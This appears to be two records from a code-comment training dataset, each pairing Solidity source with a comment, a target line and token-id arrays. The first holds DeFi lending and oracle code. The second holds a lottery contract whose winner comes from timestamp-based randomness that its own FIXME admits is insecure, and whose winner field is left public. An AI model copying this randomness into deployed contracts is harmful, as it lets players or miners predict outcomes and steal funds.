(!targetBeforeOrAt) { l = i + 1; continue; } break; } } /// @param self oracle array /// @param target targeted timestamp to retrieve value /// @param tick current tick /// @param index latest index /// @param cardinality populated elements function getSurroundingObservations( Observation[256] storage self, uint32 target, int24 tick, uint8 index, uint8 cardinality ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) { beforeOrAt = self[index]; if (beforeOrAt.blockTimestamp <= target) { if (beforeOrAt.blockTimestamp == target) { return (beforeOrAt, atOrAfter); } else { return (beforeOrAt, convert(beforeOrAt, target, tick)); } } beforeOrAt = self[(index + 1) % cardinality]; if (beforeOrAt.blockTimestamp == 0) beforeOrAt = self[0]; require(beforeOrAt.blockTimestamp <= target && beforeOrAt.blockTimestamp != 0, "OLD"); return binarySearch(self, target, index, cardinality); } /// @param self oracle array /// @param time current timestamp /// @param secondsAgo lookback time /// @param index latest index /// @param cardinality populated elements /// @return irCumulative cumulative interest rate, calculated with rate * time function observeSingle( Observation[256] storage self, uint32 time, uint32 secondsAgo, int24 tick, uint8 index, uint8 cardinality ) internal view returns (int56 irCumulative) { if (secondsAgo == 0) { Observation memory last = self[index]; if (last.blockTimestamp != time) { last = convert(last, time, tick); } return last.irCumulative; } uint32 target = time - secondsAgo; (Observation memory beforeOrAt, Observation memory atOrAfter) = getSurroundingObservations(self, target, tick, index, cardinality); if (target == beforeOrAt.blockTimestamp) { // left boundary return beforeOrAt.irCumulative; } else if (target == atOrAfter.blockTimestamp) { // right boundary return atOrAfter.irCumulative; } else { // middle return beforeOrAt.irCumulative + ((atOrAfter.irCumulative - beforeOrAt.irCumulative) / (atOrAfter.blockTimestamp - beforeOrAt.blockTimestamp)) * (target - beforeOrAt.blockTimestamp); } } /// @param self oracle array /// @param time current timestamp /// @param secondsAgos lookback time /// @param index latest index /// @param cardinality populated elements /// @return irCumulative cumulative interest rate, calculated with rate * time function arithmeticMean( Observation[256] storage self, uint32 time, uint32[2] memory secondsAgos, int24 tick, uint8 index, uint8 cardinality ) internal view returns (int24) { int56 firstPoint = observeSingle(self, time, secondsAgos[1], tick, index, cardinality); int56 secondPoint = observeSingle(self, time, secondsAgos[0], tick, index, cardinality); return int24((firstPoint-secondPoint) / (secondsAgos[0]-secondsAgos[1])); } } pragma solidity ^0.5.0; import "Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; contract LoanMaintenanceEvents { event DepositCollateral( address indexed user, address indexed depositToken, bytes32 indexed loanId, uint256 depositAmount ); event WithdrawCollateral( address indexed user, address indexed withdrawToken, bytes32 indexed loanId, uint256 withdrawAmount ); // DEPRECATED event ExtendLoanDuration( address indexed user, address indexed depositToken, bytes32 indexed loanId, uint256 depositAmount, uint256 collateralUsedAmount, uint256 newEndTimestamp ); // DEPRECATED event ReduceLoanDuration( address indexed user, address indexed withdrawToken, bytes32 indexed loanId, uint256 withdrawAmount, uint256 newEndTimestamp ); event LoanDeposit( bytes32 indexed loanId, uint256 depositValueAsLoanToken, uint256 depositValueAsCollateralToken ); // DEPRECATED event ClaimReward( address indexed user, address indexed receiver, address indexed token, uint256 amount ); event TransferLoan( address indexed currentOwner, address indexed newOwner, bytes32 indexed loanId ); enum LoanType { All, Margin, NonMargin } struct LoanReturnData { bytes32 loanId; // id of the loan uint96 endTimestamp; // loan end timestamp address loanToken; // loan token address address collateralToken; // collateral token address uint256 principal; // principal amount of the loan uint256 collateral; // collateral amount of the loan uint256 interestOwedPerDay; // interest owned per day uint256 interestDepositRemaining; // remaining unspent interest uint256 startRate; // collateralToLoanRate uint256 startMargin; // margin with which loan was open uint256 maintenanceMargin; // maintenance margin uint256 currentMargin; /// current margin uint256 maxLoanTerm; // maximum term of the loan uint256 maxLiquidatable; // current max liquidatable uint256 maxSeizable; // current max seizable uint256 depositValueAsLoanToken; // net value of deposit denominated as loanToken uint256 depositValueAsCollateralToken; // net value of deposit denominated as collateralToken } } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; import "Ownable.sol"; contract PausableGuardian is Ownable { // keccak256("Pausable_FunctionPause") bytes32 internal constant Pausable_FunctionPause = 0xa7143c84d793a15503da6f19bf9119a2dac94448ca45d77c8bf08f57b2e91047; // keccak256("Pausable_GuardianAddress") bytes32 internal constant Pausable_GuardianAddress = 0x80e6706973d0c59541550537fd6a33b971efad732635e6c3b99fb01006803cdf; modifier pausable { require(!_isPaused(msg.sig), "paused"); _; } modifier onlyGuardian { require(msg.sender == getGuardian() || msg.sender == owner(), "unauthorized"); _; } function _isPaused(bytes4 sig) public view returns (bool isPaused) { bytes32 slot = keccak256(abi.encodePacked(sig, Pausable_FunctionPause)); assembly { isPaused := sload(slot) } } function toggleFunctionPause(bytes4 sig) public onlyGuardian { bytes32 slot = keccak256(abi.encodePacked(sig, Pausable_FunctionPause)); assembly { sstore(slot, 1) } } function toggleFunctionUnPause(bytes4 sig) public onlyGuardian { // only DAO can unpause, and adding guardian temporarily bytes32 slot = keccak256(abi.encodePacked(sig, Pausable_FunctionPause)); assembly { sstore(slot, 0) } } function changeGuardian(address newGuardian) public onlyGuardian { assembly { sstore(Pausable_GuardianAddress, newGuardian) } } function getGuardian() public view returns (address guardian) { assembly { guardian := sload(Pausable_GuardianAddress) } } function pause(bytes4 [] calldata sig) external onlyGuardian { for(uint256 i = 0; i < sig.length; ++i){ toggleFunctionPause(sig[i]); } } function unpause(bytes4 [] calldata sig) external onlyGuardian { for(uint256 i = 0; i < sig.length; ++i){ toggleFunctionUnPause(sig[i]); } } } /** * Copyright 2017-2021, bZxDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; import "State.sol"; import "ILoanPool.sol"; import "MathUtil.sol"; import "InterestRateEvents.sol"; import "InterestOracle.sol"; import "TickMathV1.sol"; contract InterestHandler is State, InterestRateEvents { using MathUtil for uint256; using InterestOracle for InterestOracle.Observation[256]; // returns up to date loan interest or 0 if not applicable function _settleInterest( address pool, bytes32 loanId) internal returns (uint256 _loanInterestTotal) { poolLastIdx[pool] = poolInterestRateObservations[pool].write( poolLastIdx[pool], uint32(block.timestamp), TickMathV1.getTickAtSqrtRatio(uint160(poolLastInterestRate[pool])), uint8(-1), timeDelta ); uint256[7] memory interestVals = _settleInterest2( pool, loanId, false ); poolInterestTotal[pool] = interestVals[1]; poolRatePerTokenStored[pool] = interestVals[2]; if (interestVals[3] != 0) { poolLastInterestRate[pool] = interestVals[3]; emit PoolInterestRateVals( pool, interestVals[0], interestVals[1], interestVals[2], interestVals[3] ); } if (loanId != 0) { _loanInterestTotal = interestVals[5]; loanInterestTotal[loanId] = _loanInterestTotal; loanRatePerTokenPaid[loanId] = interestVals[6]; emit LoanInterestRateVals( loanId, interestVals[4], interestVals[5], interestVals[6] ); } poolLastUpdateTime[pool] = block.timestamp; } function _getPoolPrincipal( address pool) internal view returns (uint256) { uint256[7] memory interestVals = _settleInterest2( pool, 0, true ); return interestVals[0] // _poolPrincipalTotal .add(interestVals[1]); // _poolInterestTotal } function _getLoanPrincipal( address pool, bytes32 loanId) internal view returns (uint256) { uint256[7] memory interestVals = _settleInterest2( pool, loanId, false ); return interestVals[4] // _loanPrincipalTotal .add(interestVals[5]); // _loanInterestTotal } function _settleInterest2( address pool, bytes32 loanId, bool includeLendingFee) internal view returns (uint256[7] memory interestVals) { /* uint256[7] -> 0: _poolPrincipalTotal, 1: _poolInterestTotal, 2: _poolRatePerTokenStored, 3: _poolNextInterestRate, 4: _loanPrincipalTotal, 5: _loanInterestTotal, 6: _loanRatePerTokenPaid */ interestVals[0] = poolPrincipalTotal[pool] .add(lenderInterest[pool][loanPoolToUnderlying[pool]].principalTotal); // backwards compatibility interestVals[1] = poolInterestTotal[pool]; uint256 lendingFee = interestVals[1] .mul(lendingFeePercent) .divCeil(WEI_PERCENT_PRECISION); uint256 _poolVariableRatePerTokenNewAmount; (_poolVariableRatePerTokenNewAmount, interestVals[3]) = _getRatePerTokenNewAmount(pool, interestVals[0].add(interestVals[1] - lendingFee)); interestVals[1] = interestVals[0] .mul(_poolVariableRatePerTokenNewAmount) .div(WEI_PERCENT_PRECISION * WEI_PERCENT_PRECISION) .add(interestVals[1]); if (includeLendingFee) { interestVals[1] -= lendingFee; } interestVals[2] = poolRatePerTokenStored[pool] .add(_poolVariableRatePerTokenNewAmount); if (loanId != 0 && (interestVals[4] = loans[loanId].principal) != 0) { interestVals[5] = interestVals[4] .mul(interestVals[2].sub(loanRatePerTokenPaid[loanId])) // _loanRatePerTokenUnpaid .div(WEI_PERCENT_PRECISION * WEI_PERCENT_PRECISION) .add(loanInterestTotal[loanId]); interestVals[6] = interestVals[2]; } } function _getRatePerTokenNewAmount( address pool, uint256 poolTotal) internal view returns (uint256 ratePerTokenNewAmount, uint256 nextInterestRate) { uint256 timeSinceUpdate = block.timestamp.sub(poolLastUpdateTime[pool]); uint256 benchmarkRate = TickMathV1.getSqrtRatioAtTick(poolInterestRateObservations[pool].arithmeticMean( uint32(block.timestamp), [uint32(timeSinceUpdate+twaiLength), uint32(timeSinceUpdate)], poolInterestRateObservations[pool][poolLastIdx[pool]].tick, poolLastIdx[pool], uint8(-1) )); if (timeSinceUpdate != 0 && (nextInterestRate = ILoanPool(pool)._nextBorrowInterestRate(poolTotal, 0, benchmarkRate)) != 0) { ratePerTokenNewAmount = timeSinceUpdate .mul(nextInterestRate) // rate per year .mul(WEI_PERCENT_PRECISION) .div(31536000); // seconds in a year } } } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity >=0.5.0 <0.6.0; interface ILoanPool { function tokenPrice() external view returns (uint256 price); function borrowInterestRate() external view returns (uint256); function _nextBorrowInterestRate( uint256 totalBorrow, uint256 newBorrow, uint256 lastInterestRate) external view returns (uint256 nextRate); function totalAssetSupply() external view returns (uint256); function assetBalanceOf( address _owner) external view returns (uint256); } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity >=0.5.0 <0.8.0; library MathUtil { /** * @dev Integer division of two numbers, rounding up and truncating the quotient */ function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { return divCeil(a, b, "SafeMath: division by zero"); } /** * @dev Integer division of two numbers, rounding up and truncating the quotient */ function divCeil(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b != 0, errorMessage); if (a == 0) { return 0; } uint256 c = ((a - 1) / b) + 1; return c; } function min256(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a < _b ? _a : _b; } } /** * Copyright 2017-2022, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ pragma solidity 0.5.17; contract InterestRateEvents { event PoolInterestRateVals( address indexed pool, uint256 poolPrincipalTotal, uint256 poolInterestTotal, uint256 poolRatePerTokenStored, uint256 poolNextInterestRate ); event LoanInterestRateVals( bytes32 indexed loanId, uint256 loanPrincipalTotal, uint256 loanInterestTotal, uint256 loanRatePerTokenPaid ); } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity ^0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMathV1 { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) public pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = uint256(-1) / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) public pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } }
interest rate defined by the creator of this order
uint256 interestRate;
213,851
[ 1, 2761, 395, 4993, 2553, 635, 326, 11784, 434, 333, 1353, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2254, 5034, 16513, 4727, 31, 5411, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; import "zos-lib/contracts/Initializable.sol"; // Generates an 8-bit winning bitstring // TODO: READ THIS: https://medium.com/coinmonks/lottery-as-a-smart-contract-the-execution-904a26201338 contract LotteryGame is Initializable { uint256 public numRounds; // Number of rounds uint256 public numParticipants; // Number of participants byte public winner; // Make this private for production! string public pendingWinner; // Currently revealed bitstring // Events function initialize() initializer public { numRounds = 4; numParticipants = 256; // 2^8 bits = 256 participants pendingWinner = ""; winner = toByte(uint8(0)); } function toByte(uint8 _num) internal pure returns (byte _ret) { return byte(_num); } // Generate winning 8-bit bitstring // Checkout: https://gist.github.com/anonymous/06a86a039f01dc15fd14 // https://www.reddit.com/r/ethereum/comments/442z66/how_to_generate_a_number_between_110_in_solidity/ function generateWinner() public { // FIXME: THIS IS NOT SECURE BUT ITS A PLACEHOLDER uint256 random = uint256(keccak256(block.timestamp))%numParticipants +1; uint8 randomNumber = uint8(random); winner = toByte(randomNumber); } //TODO: // Add following methods // Int to bit string // Generate ith bit // Random number generator https://medium.com/@promentol/lottery-smart-contract-can-we-generate-random-numbers-in-solidity-4f586a152b27 // Make certain functions onlyOwner! }
Make this private for production!
byte public winner;
14,044,487
[ 1, 6464, 333, 3238, 364, 12449, 5, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
